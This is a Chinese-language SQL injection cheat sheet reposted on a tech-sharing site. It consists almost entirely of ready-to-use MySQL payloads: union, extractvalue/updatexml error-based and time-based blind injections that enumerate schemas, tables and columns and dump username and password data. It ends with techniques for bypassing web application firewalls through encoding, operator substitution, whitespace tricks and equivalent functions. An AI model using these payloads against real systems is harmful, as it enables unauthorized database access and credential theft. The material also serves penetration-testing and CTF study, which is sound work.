ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

SQL注入备忘录

2019-12-04 14:51:02  阅读:347  来源: 互联网

标签:information group 备忘录 select SQL table 注入 concat schema


常见注入类型

联合注入

布尔注入

报错注入

盲注(时间、布尔)

堆叠注入

 

三个重要表

information_schema.schemata存放库名的表
information_schema.tables存放表名的表
information_schema.columns存放字段名的表

其他信息

version() 查看数据库版本

user()查看当前用户

@@version_compile_os 操作系统

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

 

先确实构造的SQL语句,常见的类型 数字型、数字括号、单引号、单引号括号、双引号、双引号括号

 

联合注入

有显示位置的时候可以使用

确定列的数量,常用order by,group by 后面带数字,当数字大于列名就会报错

确定显示位置,让前面sql查找为空,union select 1,2,3 ... 找到显示位置

union select group_concat(table_name) from information_schema.tables where table_schema=database() --+ 暴露表名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+  暴露列名

union select 1,2,group_concat(username,password) from users--+ 暴露数据

 

报错注入

基于extractvalue函数

and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))) --+ 暴露数据库名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 暴露表名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ 暴露列名

and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users))) --+  暴露数据

 

基于updatexml函数

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) --+ 暴露表名

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),0) --+ 暴露列名

and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0) --+ 暴露数据

 

 

延时盲注

 or if(length(database())=8,sleep(3),1) --+  数据库长度

or if(ord(mid(database(),1,1))=115,sleep(4),1) --+  数据库名

or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1) --+ 表的数量

or if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(3),1) --+ 表的长度

or if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<150,sleep(5),1) --+ 第一个表名

or if((select count(column_name) from information_schema.columns where table_name='users')<10,sleep(5),1) --+ users表中列的数量

or if((select length(column_name) from information_schema.columns where table_name='users' limit 0,1)<5,sleep(3),1) --+  列的长度

or if(ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<150,sleep(2),1) --+ 列名

or if(ord(mid((select username from users limit 0,1),1,1))=68,sleep(3),1) --+  users表username列名中数据的内容

 

绕过WAF

可以尝试大小写绕过 、双写绕过,或者十六进制编码、URL编码绕过

过滤and  可以用&&  

过滤or     可以用 ||   

过滤空格  可以用 %20 %09 %0a %0b %0c %0d   /**/  /*!*/

功能相同函数

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()

 

 

 

 

 

 

 

标签:information,group,备忘录,select,SQL,table,注入,concat,schema
来源: https://www.cnblogs.com/gaonuoqi/p/11982815.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有